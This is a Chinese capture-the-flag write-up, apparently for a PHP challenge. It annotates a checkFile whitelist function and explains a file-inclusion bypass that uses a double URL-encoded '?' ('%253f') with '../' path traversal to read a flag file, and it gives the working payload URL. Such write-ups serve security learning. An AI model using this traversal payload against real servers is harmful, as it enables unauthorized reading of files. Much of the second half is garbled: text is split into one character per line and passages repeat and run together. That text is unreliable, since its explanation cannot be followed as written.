做题目讲究的是方法,我也只是记录我的方法
这里我虽然做了代码的注释,但前提要是你需要懂得这些代码的写法和意思,可以学一下php。
首先进入主页面,简单的题目一般都在源码里会有提示。f12源代码有个source.php;直接在原网页后面加上/source.php访问(这个要都不知道就真的基础没学好了),开始出现代码
先看定义的如何返回file:
【if (! empty($_REQUEST['file']) /(接收到的file不为空)
&& is_string($_REQUEST['file']) /(接受的file是字符串格式的)
&& emmm::checkFile($_REQUEST['file']) /(接收到的file要通过checkfile函数)【三个条件要同时满足】
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>】
接下分析check file函数
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; /(定义一个白名单数组)
if (! isset($page) || !is_string($page)) { /(判断$page变量是否设置,$page变量是否为字符串)
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { /(判断$page变量否在白名单数组里)
return true;
}
$_page = mb_substr( /(mb_strpos先查找$page中?出现的位置【也就是数字】,mb_substr再输出?前的字符串,不懂得可以百度下两个函数的作用)
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) { /(判断上面$_page变量是否在白名单数组中)
return true;
}
$_page = urldecode($page); /(对$page url解码)
$_page = mb_substr( /(mb_strpos先查找$page中?出现的位置【也就是数字】,mb_substr再输出?前的字符串)
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
1.第一个if语句对变量进行检验,要求
p
a
g
e
为
字
符
串
,
否
则
返
回
f
a
l
s
e
(
!
的
作
用
)
2.
第
二
个
i
f
语
句
判
断
page为字符串,否则返回false(!的作用) 2.第二个if语句判断
page为字符串,否则返回false(!的作用)2.第二个if语句判断page是否存在于
w
h
i
t
e
l
i
s
t
数
组
中
,
存
在
则
返
回
t
r
u
e
3.
第
三
个
i
f
语
句
判
断
截
取
后
的
whitelist数组中,存在则返回true 3.第三个if语句判断截取后的
whitelist数组中,存在则返回true3.第三个if语句判断截取后的page是否存在于
w
h
i
t
e
l
i
s
t
数
组
中
,
截
取
whitelist数组中,截取
whitelist数组中,截取page中’?'前部分,存在则返回true
4.第四个if语句判断url解码并截取后的
p
a
g
e
是
否
存
在
于
page是否存在于
page是否存在于whitelist中,存在则返回true
若以上四个if语句均未返回值,则返回false
有三个if语句可以返回true,第二个语句直接判断
p
a
g
e
,
不
可
用
第
三
个
语
句
截
取
′
?
′
前
部
分
,
由
于
?
被
后
部
分
被
解
析
为
g
e
t
方
式
提
交
的
参
数
,
也
不
可
利
用
第
四
个
i
f
语
句
中
,
先
进
行
u
r
l
解
码
再
截
取
,
因
此
我
们
可
以
将
?
经
过
两
次
u
r
l
编
码
(
服
务
器
会
自
动
解
码
一
次
,
所
以
要
编
码
两
次
)
,
在
服
务
器
端
提
取
参
数
时
解
码
一
次
,
c
h
e
c
k
F
i
l
e
函
数
中
解
码
一
次
,
仍
会
解
码
为
′
?
′
,
仍
可
通
过
第
四
个
i
f
语
句
校
验
。
(
′
?
′
两
次
编
码
值
为
′
h
t
t
p
:
/
/
x
x
x
x
:
x
x
x
x
/
s
o
u
r
c
e
.
p
h
p
?
f
i
l
e
=
s
o
u
r
c
e
.
p
h
p
解
析
:
:
传
入
?
f
i
l
e
=
h
i
n
t
.
p
h
p
page,不可用 第三个语句截取'?'前部分,由于?被后部分被解析为get方式提交的参数,也不可利用 第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码(服务器会自动解码一次,所以要编码两次),在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为'?',仍可通过第四个if语句校验。('?'两次编码值为'%253f'),构造url: http://xxxx:xxxx/source.php?file=source.php%253f../../../../../ffffllllaaaagggg 解析:: 传入?file=hint.php%253f../../../../../../../../ffffllllaaaagggg,因为服务器会自动解一次码,所以
page,不可用第三个语句截取′?′前部分,由于?被后部分被解析为get方式提交的参数,也不可利用第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码(服务器会自动解码一次,所以要编码两次),在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为′?′,仍可通过第四个if语句校验。(′?′两次编码值为′http://xxxx:xxxx/source.php?file=source.php解析::传入?file=hint.phppage的值为hint.php%3f…/…/…/…/…/…/…/…/ffffllllaaaagggg,又一次url解码后,$_page的值为hint.php?../…/…/…/…/…/…/…/ffffllllaaaagggg,然后截取问号前面的hint.php判断在白名单里返回true。
这个是我参照的网址(https://www.cnblogs.com/R-S-PY/p/12095264.html)